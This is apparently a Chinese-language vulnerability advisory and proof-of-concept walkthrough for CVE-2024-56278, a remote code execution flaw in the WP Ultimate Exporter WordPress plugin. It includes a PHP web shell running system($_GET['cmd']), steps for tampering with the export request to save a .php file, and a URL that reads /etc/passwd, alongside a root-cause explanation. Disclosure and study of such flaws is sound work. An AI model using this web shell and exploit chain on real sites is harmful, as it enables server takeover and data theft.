👉 简要描述

WP Ultimate Exporter 插件是 WP Ultimate CSV Importer 插件的附加组件。该插件允许用户以 CSV、XLS、XML 和 JSON 格式导出所有文章、产品、订单、退款和用户数据。导出时，文件会创建在上传路径中，插件仅将文件内容提供给用户。

在 WP Ultimate Exporter 插件 2.9.1 及以下版本中，请求数据导出时，如果请求数据中的文件扩展名被设置为 PHP，则会在上传路径中创建 PHP 文件。因此，如果创建的文件内容包含 PHP 语法，在访问该文件时 PHP 语法会被执行，从而产生远程代码执行（RCE）漏洞。

👉 复现方法（PoC）

⚠️ 由于“WP Ultimate Exporter”插件是“WP Ultimate CSV Importer”插件的附加组件，因此需要同时安装这两个插件。

1. 使用代码编辑器（快捷键：⇧ ⌥ ⌘ M）创建一篇新文章，内容如下：

   root@kitploit:~

   <pre>
   	<?php
   	    if(isset($_GET['cmd']))
   	    {
   	        system($_GET['cmd']);
   	    }
   	?>
   </pre>
   

2. 导航至 WP Ultimate Exporter 插件的“导出”选项卡。可通过点击 WP Ultimate CSV Importer 插件仪表板中的“导出”选项卡访问（/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu）。

3. 启动代理工具（例如 BurpSuite）拦截请求数据包，并在启用拦截的情况下继续以下步骤。

4. 接下来，从“选择要导出数据的模块”中选择“文章”，然后进入下一步。

1. 然后，在“根据筛选条件导出数据”中，设置以下项目并点击“导出”按钮。
   • 导出文件名 输入“webshell”
   • 高级设置 选择“CSV”

1. 此时，会向 /wp-admin/admin-ajax.php URL 发送一个 POST 方法请求以导出数据。将请求数据中的 exp_type 值从 csv 改为 php，然后点击“转发”。

1. 在浏览器地址栏中输入 /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd，即可显示安装 WordPress 的服务器上 /etc/passwd 文件的内容。这证明了 RCE 漏洞的存在。

👉 附加信息（可选）

[漏洞成因]

在 WP Ultimate Exporter 插件中导出数据时，会调用 /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php 文件中的 parseData 函数。

此时，对决定导出数据格式的请求数据 exp_type 未进行任何过滤，该值被直接插入到成员变量 $this->exportType 中。

随后，调用 proceedExport 函数将数据保存到文件中。此时，在初始化指定文件存储路径的变量 $file 时，成员变量 $this->exportType 同样未经任何过滤就被使用。

随后，存储在变量 $file 中的文件路径作为参数传递给 file_put_contents 函数，此时文件以请求数据 exp_type 中指定的扩展名直接保存。

因此，当包含 Web Shell 代码的文章数据被保存为 PHP 文件，并且该文件被访问时，PHP 代码会被执行，从而产生远程代码执行（RCE）漏洞。

[PoC 代码实现与执行]

1. 在编辑器中打开 PoC 代码，输入 WordPress 站点地址和管理员凭据。

1. 然后输入以下命令执行 PoC 代码。

   所需模块 requests

   root@kitploit:~

   python poc.py
   

   

6️⃣ 漏洞利用演示

7️⃣ 参考资料

• https://nvd.nist.gov/vuln/detail/CVE-2024-56278